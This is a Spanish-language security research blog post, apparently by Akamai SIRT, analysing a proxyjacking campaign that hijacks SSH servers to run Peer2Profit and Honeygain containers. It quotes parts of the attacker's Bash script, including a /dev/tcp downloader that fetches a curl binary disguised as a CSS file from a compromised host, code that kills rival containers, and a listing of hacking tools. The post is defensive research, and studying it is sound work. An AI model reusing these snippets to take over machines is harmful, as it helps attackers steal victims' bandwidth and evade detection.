Proxijacking: la nueva ocupación complementaria de los ciberdelincuentes
Comentario editorial y adicional de Tricia Howard
Resumen ejecutivo
El equipo de respuesta a incidentes e inteligencia en seguridad (SIRT) de Akamai ha detectado una campaña de proxyjacking dirigida a servidores SSH vulnerables que, posteriormente, lanza servicios de Docker que comparten el ancho de banda de la víctima a cambio de dinero.
Esta campaña utiliza un servidor web comprometido para distribuir las dependencias necesarias, busca y elimina de forma activa instancias de la competencia y emplea técnicas de ocultación para evadir la detección.
Proxyjacking se ha convertido en la forma más novedosa empleada por los ciberdelincuentes para ganar dinero con los dispositivos comprometidos tanto en el ecosistema corporativo como en el del consumidor. Se trata de una alternativa más sigilosa que el cryptojacking con graves implicaciones que pueden causar más quebraderos de cabeza que los ataques de capa 7 con proxy.
Introducción
En el mundo de las ciberamenazas en constante evolución, los atacantes buscan continuamente estrategias innovadoras para maximizar sus ganancias y minimizar sus esfuerzos. El último ejemplo de esto se descubrió en uno de los señuelos distribuidos globalmente por Akamai SIRT a principios de junio: el proxyjacking con fines de lucro.
Aunque el concepto de proxyjacking no es nuevo, sí lo es la capacidad de rentabilizarlo fácilmente como afiliados de las principales empresas. El hecho de proporcionar una vía sencilla de obtener recompensas económicas convierte a este vector en una amenaza tanto para el mundo corporativo como para el consumidor medio, lo que aumenta la necesidad de concienciación y, con suerte, de las medidas de mitigación. El panorama de las amenazas emergentes está marcado por actores como Meris y Anonymous Sudan, y cuando ese panorama se combina con un notable aumento de ataques de capa 7 propagados a través de redes proxy, existe un valor monetario considerable en la acumulación de una gran cantidad de proxies utilizables.
En esta publicación, profundizaremos en una nueva campaña de proxyjacking descubierta por nuestros investigadores de seguridad del equipo SIRT. Se trata de una campaña activa en la que el atacante aprovecha SSH para el acceso remoto y ejecuta scripts maliciosos que captan sigilosamente los servidores de la víctima en una red de proxy punto a punto (P2P), como Peer2Proxy o Honeygain.
Esto permite al atacante rentabilizar el ancho de banda adicional de una víctima desprevenida con sólo una fracción de la carga de recursos que sería necesaria para el criptominería y con menos posibilidades de detección.
Describiremos los detalles técnicos de la campaña y exploraremos el perfil de amenaza del proxyjacking con fines de lucro. También haremos sugerencias en relación con las mitigaciones. Esperamos sacar a la luz este nuevo caso de uso de una técnica antigua.
¿Qué es el proxyjacking?
El cryptojacking se ha hecho bastante conocido en todo el mundo: Consiste en el robo de recursos de la víctima para contribuir a un pool de minería a cambio de dinero que se entrega al atacante. Otra técnica menos conocida y que ha ido en aumento recientemente es el denominado proxyjacking.
Con el proxyjacking, el atacante no se limita a robar recursos, ya que también aprovecha el ancho de banda no utilizado de la víctima. El sistema de la víctima se utiliza de forma encubierta para ejecutar varios servicios como un nodo proxy P2P que los atacantes han comenzado a rentabilizar recientemente a través de organizaciones como Peer2Profit o Honeygain. Estas compañías proporcionan al usuario medio la oportunidad de obtener dinero por su ancho de banda adicional, una perspectiva atractiva, y legítima, para muchas personas y entidades.
Sin embargo, estos sitios no suelen hacer preguntas sobre cómo se ha obtenido el nuevo nodo proxy, que es donde comienza la parte ilegítima. Si bien la acción de proxyjacking ha existido desde hace algún tiempo, hemos observado en esta campaña que ha sido recientemente cuando se ha comenzado a utilizar de forma específica con fines de lucro.
¿Cuál es el valor de un proxy para un ciberdelincuente?
El valor de los proxies para los ciberdelincuentes es inherente a su capacidad para ocultar sus pistas, lo que hace que sea enormemente difícil rastrear las actividades ilícitas hasta sus orígenes. Esta ocultación se consigue mediante el enrutamiento del tráfico malicioso a través de una multitud de nodos del mismo nivel antes de llegar a su destino final. Esto se refleja en la Figura 1, donde se muestra cómo intercambian las personas abiertamente el acceso a los proxies, lo que hace posible una ruta diversificada para su tráfico.
Esta lista en particular se encontró como resultado de las publicaciones en línea vinculadas a la IP principal en la que se centró esta investigación, y contenía más de 16 500 proxies abiertos adicionales. Con el incremento del proxyjacking, es evidente que no todos estos nodos participan como pares dispuestos en esta red. Esta lista no es en absoluto exhaustiva, ya que se encontraron muchas otras publicaciones.
En la campaña que se analiza en esta entrada de blog, nuestro enfoque no se centra en los proxies "abiertos" de forma clásica, ya que empresas como Peer2Profit y Honeygain afirman que solo comparten sus proxies con socios en teoría verificados. Sin embargo, los incentivos que ofrecen estas empresas para contribuir a las redes proxy no solo atraen instalaciones legítimas para obtener ingresos pasivos, sino también aquellas que intentan explotar el sistema en perjuicio de otras personas.
Además, los servicios reales que prestan atraen por igual a empresas legítimas y atacantes. Por lo tanto, este caso sirve como un claro recordatorio de las posibles implicaciones para la seguridad de estos servicios aparentemente beneficiosos.
Sonríe, ¡estás en la cámara de Cowrie!
Esta campaña en particular salió a la luz por primera vez el 8 de junio de 2023. Nuestro equipo observó que un atacante establecía varias conexiones SSH a uno de nuestros señuelos de Cowrie (Figura 2), un activo gestionado por SIRT. Gracias a nuestras completas capacidades de control y supervisión en este señuelo, pudimos realizar un seguimiento y documentar todas las acciones que realizaron los atacantes, las cuales ejecutaron principalmente a través de scripts Bash codificados.
La primera línea de acción del atacante fue emplear un doble script Bash codificado en Base64 (Figura 3), una técnica común utilizada para ocultar la verdadera funcionalidad del script y evadir los sistemas de seguridad.
Tras descodificar con éxito el script Bash oculto, pudimos obtener una vista abierta del modus operandi de proxyjacking del atacante. Con el registro de este script descodificado, podríamos diseccionar meticulosamente la naturaleza y la secuencia de las operaciones que pretende el atacante.
Interrupción, implementación, desaparición
Este script descodificado transforma de forma efectiva el sistema comprometido en un nodo de la red proxy Peer2Profit utilizando la cuenta especificada por $PACCT como la filial que se beneficiará del ancho de banda compartido. Poco después, se detectó lo mismo para una instalación de Honeygain. El script se diseñó para que fuera sigiloso y robusto, e intentaba operar independientemente del software instalado en el sistema host.
El script comenzó por definir algunas funciones para su uso posterior, la primera de las cuales era una implementación rudimentaria de curl:
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\nUser-Agent: curl/6.1.9\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
Esto se utilizó a continuación dentro de la segunda función para descargar una versión real de curl (alojada en el servidor de distribución como "csdark.css". Parece ser que curl es todo lo que se necesita para que funcione este esquema, por lo que si no está presente en el host de la víctima, el atacante lo descarga en su nombre.
c(){
if ! command -v curl &>/dev/null;then
__curl http://xxx.xxx.xxx.xxx/main/dist/css/csdark.css > curl
if ! md5sum curl|grep -q 2a88b534fa8d58cef93e46c4ab380b23;then
echo "could not get curl"
exit
fi
chmod +x curl
export PATH=$PWD:$PATH
fi
}
Según nuestro análisis, no es más que una distribución regular de curl sin apenas, o ninguna, modificación. Es posible que contenga una funcionalidad adicional, ya sea de mejora del rendimiento o maliciosa, pero en este momento no tenemos motivos para creer que sea así.
Lo realmente interesante de este ejecutable es que, aunque todos los proveedores de terceros lo consideran completamente inofensivo (Figura 4), este fue el artefacto inicial que nos condujo a investigar más a fondo. Esta reputación limpia respalda aún más la afirmación de que no es más que una distribución estándar de la utilidad curl. Fue la capacidad de ver el origen del artefacto lo que lo transformó de un fragmento de código inofensivo a lo que ahora sabemos que forma parte de un esquema de proxyjacking. Esto pone de relieve la importancia de poder aislar todos los artefactos inusuales, no solo aquellos que se consideran maliciosos.
El atacante también define otra función para moverla a una ubicación editable y ejecutable, como /dev/shm o /tmp. Si no se encuentra ningún directorio adecuado, el ejecutable se cierra.
d(){
cd /dev/shm && cp /bin/ls . && ./ls &>/dev/null && rm -f ls && return
cd /tmp && cp /bin/ls . && ./ls &>/dev/null && rm -f ls && return
#mkdir -p $HOME/.cache/apt && cd $HOME/.cache/apt && return
echo "no suitable dir"
exit
}
La función final definida dentro del script realiza algunas modificaciones para configurar el bot, pero en realidad a la llamada de esta función se le añade la marca de comentario en el script principal y se sustituye por un código potencialmente más funcional. El resto del código es donde tiene lugar la mayor parte de la acción.
No podemos compartir todo el código por razones de seguridad, pero podemos hacer referencia a algunos fragmentos para que pueda hacerse una idea de lo que estamos hablando. Algunos fragmentos del código se han redactado utilizando [...].
Los scripts comienzan comprobando si su propio contenedor ya está activo y en ejecución:
if ps axjf|[...]|grep […] "$PACCT";then
echo "already running"
exit
A continuación, comprueban la existencia de otros contenedores que ejecutan contenedores de uso compartido de ancho de banda rivales y los terminan.
if docker ps [...] |grep [...] peer2profit [...] p2pclient;then
for con in [...];do
if ! docker [...]|grep [...] "$PACCT";then
[...]
docker stop -t 10 $con
docker stop -s KILL $con
docker stop $con
echo "killed container: $con"
fi
done
fi
Continúan con la creación de un directorio de trabajo y, a continuación, descargan una imagen de Docker de repositorios de Docker públicos que contienen los programas de uso compartido de recursos, asignándole el nombre `postfixd`. A partir de ahí, solo tienen que seguir las instrucciones disponibles públicamente para descargar y desempaquetar las capas de Docker de la imagen, eliminar algunos artefactos sobrantes y, a continuación, salir.
cd .. && rm -rf pfp
Valor del ancho de banda de Internet diversificado
Los esquemas de monetización de proxy P2P específicos encontrados en esta campaña fueron Peer2Profit y Honeygain, ambos con imágenes de Docker públicas con más de 1 millones de descargas (Figura 5).
En estos casos de proxijacking, el proxy lo están utilizando empresas teóricamente legítimas, pero potencialmente sin escrúpulos, con fines tales como la recopilación de datos y la publicidad (Figura 6). Algunas de estas empresas incluso le permiten ver exactamente cómo se está utilizando su tráfico.
Estas aplicaciones no son inherentemente maliciosas; se presentan como servicios voluntarios que ofrecen a los usuarios la oportunidad de compartir su ancho de banda de Internet no utilizado a cambio de una compensación económica (Figura 7). El acuerdo es bastante sencillo, pero algunas de estas empresas no verifican adecuadamente el origen de las IP en la red, e incluso ocasionalmente sugieren que las personas instalen el software en sus ordenadores de trabajo.
Cuando una actividad legítima se convierte en ciberdelincuencia
El escenario cambia drásticamente cuando se implementa una aplicación sin el conocimiento o el consentimiento del usuario, explotando de forma eficaz sus recursos. Aquí es donde la acción aparentemente inocua de utilizar estos servicios entra en el ámbito de la ciberdelincuencia. El atacante, al controlar varios sistemas y su ancho de banda, amplifica de forma eficaz sus ganancias potenciales del servicio, todo ello a expensas de las víctimas.
Este escenario tiene una sorprendente semejanza con la diferencia entre criptominería y cryptojacking. La criptominería en sí misma es una actividad legítima por la cual unas personas utilizan recursos computacionales para extraer criptomonedas. Sin embargo, cuando se convierte en cryptojacking, implica el uso no autorizado de los recursos informáticos de otra persona para la minería, lo que convierte una actividad que de otro modo sería inofensiva en una actividad maliciosa.
Un vistazo al servidor de distribución
Nuestra investigación nos llevó a examinar el servidor que se estaba utilizando para extraer el binario curl empleado en el script Bash malicioso. Un ataque que, por lo demás, no utilizaba archivos, continuaba dependiendo de un servidor de distribución para una ejecución correcta.
Al examinar el sitio, llegamos rápidamente a la conclusión de que se trataba de un servidor web comprometido que se estaba utilizando como una forma de distribuir varios componentes para los ataques. Hemos podido rastrear este sitio web hasta una empresa de Libia especializada en "materiales de construcción de alta calidad".
Nuestro primer paso en la evaluación fue analizar qué más se alojaba (Figura 8) en la misma ruta que el binario curl (csdark.css, si lo recuerda).
Mediante un breve análisis de las tecnologías con las que se creó este servidor web, descubrimos que tenía varios componentes obsoletos y sin mantenimiento. Esta ruta del sitio web se utiliza específicamente para respaldar una biblioteca, llamada metro-bootstrap, que ya no tiene mantenimiento. Al familiarizarnos con esta biblioteca, pudimos considerar los tres archivos que se modificaron por última vez en 2014.
Sin embargo, los archivos más recientes nos llevaron a creer que este servidor se ha visto comprometido desde entonces y que ahora se está utilizando como punto de descarga para varias actividades. Para analizar estos archivos, utilizamos `wget -r` para descargarlos todos.
El archivo csdark.css es el ejecutable curl que hemos analizado anteriormente, y mirando las fechas podemos deducir que metro-bootstrap.min.xcss puede haber servido como una especie de carga de archivos de prueba, y que csdark.css se añadió al día siguiente. Esto dejaba vksp como no contabilizado. Según la siguiente entrada de VirusTotal (Figura 9), vksp es en realidad un programa denominado perfcc, un malware de criptominería específico de Linux.
Realizamos un breve análisis también en este archivo y , de hecho, contenía una utilidad de criptominería, así como muchos otros ataques y herramientas de piratería comunes.
~/.local/bin$ ls
addcomputer.py exchanger.py getST.py ldd2pretty normalizer
raiseChild.py secretsdump.py split.py
atexec.py findDelegation.py getTGT.py lookupsid.py ntfs-read.py
rbcd.py services.py ticketConverter.py
crontab flask GetUserSPNs.py machine_role.py ntlmrelayx.py
rdp_check.py smbclient.py ticketer.py
cygdb futurize goldenPac.py mimikatz.py pasteurize
registry-read.py smbexec.py top
cython GetADUsers.py karmaSMB.py mqtt_check.py ping6.py
reg.py smbpasswd.py wmiexec.py
cythonize getArch.py keylistattack.py mssqlclient.py ping.py
rpcdump.py smbrelayx.py wmipersist.py
dcomexec.py Get-GPPPassword.py kintercept.py mssqlinstance.py
psexec.py rpcmap.py smbserver.py wmiquery.py
dpapi.py GetNPUsers.py ldapdomaindump netview.py ps.old
sambaPipe.py sniffer.py
esentutl.py getPac.py ldd2bloodhound nmapAnswerMachine.py
__pycache__ samrdump.py sniff.py
Este hallazgo tenía mucho sentido para nosotros, ya que sería lógico que los atacantes que históricamente se han aferrado al cryptojacking como fuente de ingresos ahora cambiarían al proxyjacking, o al menos lo utilizarían para complementar esta actividad. Ver estos dos ejecutables alojados en el mismo sitio web comprometido sirvió como una pequeña prueba del tipo de atacante que percibirá inmediatamente el valor de esta nueva estrategia de monetización.
Impacto y relevancia del panorama de las amenazas
La aparición del proxyjacking con fines de lucro sigue muchas otras formas de planes criminales para ganar dinero a través de dispositivos comprometidos. La comparación más obvia es el cryptojacking, pero la estrategia de tomar un servicio legítimo y explotar su rentabilidad por medios criminales se remonta aún más lejos.
Otro buen ejemplo es el hecho de que los orígenes del spam en gran medida se sitúan en el marketing de afiliados, una práctica muy común incluso hoy en día. Algunas compañías le pagarían por clic siempre que lleve clientes a su sitio, pero muchos ignoran el hecho de que se estaba utilizando spam para llevarlo a cabo. Mientras existan estos incentivos y las empresas estén dispuestas a ignorar la ética del origen, se crearán sectores delictivos en torno a la explotación de estas prácticas.
Hay otro hecho acerca de la acumulación de proxies que hacen que sea especialmente relevante y preocupante: Proxyjacking aborda esencialmente el único inconveniente significativo del cryptojacking: la detección mediante un uso elevado de la CPU. Al requerir un uso mínimo de CPU y depender a cambio del ancho de banda de Internet no utilizado, el proxyjacking puede evitar algunos de los medios de detección que se utilizaban anteriormente para el criptojacking.
Cómo defenderse ante el proxyjacking
Un menor uso de la CPU implica un mayor énfasis en las soluciones IDS/IPS para mitigar el proxyjacking desde una perspectiva corporativa. El usuario cotidiano debe implementar sólidos fundamentos de seguridad, como el uso de complejas contraseñas y su almacenamiento en un administrador de contraseñas, la aplicación de parches en aplicaciones y la activación de la autenticación multifactorial (MFA) siempre que sea posible. Los usuarios con un conocimiento más profundo de la seguridad informática también pueden mantenerse atentos prestando atención a los contenedores actualmente en ejecución, supervisando el tráfico de red en busca de anomalías e incluso ejecutando análisis de vulnerabilidades de forma regular.
En esta campaña en particular, observamos el uso de SSH para obtener acceso a un servidor e instalar un contenedor de Docker, pero en campañas anteriores también se han aprovechado las vulnerabilidades web. Si comprueba los servicios de Docker locales en ejecución y detecta algún recurso compartido no deseado en su sistema, debe investigar la intrusión, determinar cómo se ha cargado y ejecutado el script, y realizar una limpieza exhaustiva.
Asegúrese de comprobar si hay otros signos de intrusión o peligro. Cambie todas las contraseñas, asegúrese de que todo el software esté actualizado y considere la posibilidad de implementar una política de seguridad más estricta. Además, debe considerar la posibilidad de contratar servicios profesionales de respuesta a incidentes si el sistema afectado contiene información confidencial o datos de gran valor.
Además de la naturaleza escurridiza de estos ataques, los proxies abiertos sirven como una herramienta crucial en el arsenal del ciberdelincuente, y organizaciones delictivas como MERIS y Anonymous Sudan demuestran lo devastadores y dolorosos que pueden ser los ataques con proxy. Con el aumento continuo de los ataques de capa 7, este problema seguirá aumentando, y la dependencia de estas empresas de redes proxy para gestionar correctamente sus partners es un mecanismo de defensa muy deficiente y una garantía débil.
Resumen
Las técnicas antiguas siguen siendo eficaces, especialmente cuando se combinan con nuevos resultados. El proxyjacking monetizado es un gran ejemplo de esto, y estamos seguros de que surgirán nuevas tácticas centradas específicamente en esta clase de ataques. Este vector pone de relieve una vez más la necesidad de contar con fundamentos sólidos. Las prácticas de seguridad estándar siguen siendo un mecanismo de prevención eficaz, que incluye contraseñas seguras, la gestión de parches y un registro meticuloso.
Si le preocupa el uso de proxyjacking en su organización o en sus activos personales, la vigilancia es fundamental. Como siempre, Akamai SIRT seguirá supervisando estas amenazas y otras, y proporcionará información adicional a medida que se produzca. Para obtener más información sobre las últimas investigaciones en seguridad, síganos en Twitter.
IoC
- Hashes
- 6f1ac1e711e662edad32713c135ce29562d636794cf5a21a44bbb34955610f0a - vksp
72e7dd199bed6eefa0ae763c399e0d8a56e2b1dfacc089046706226a5f2a
- Compruebe si se han producido actividades de proxyjacking no deseadas
-
docker ps | grep -q peer2profit
docker ps | grep -q honeygain
-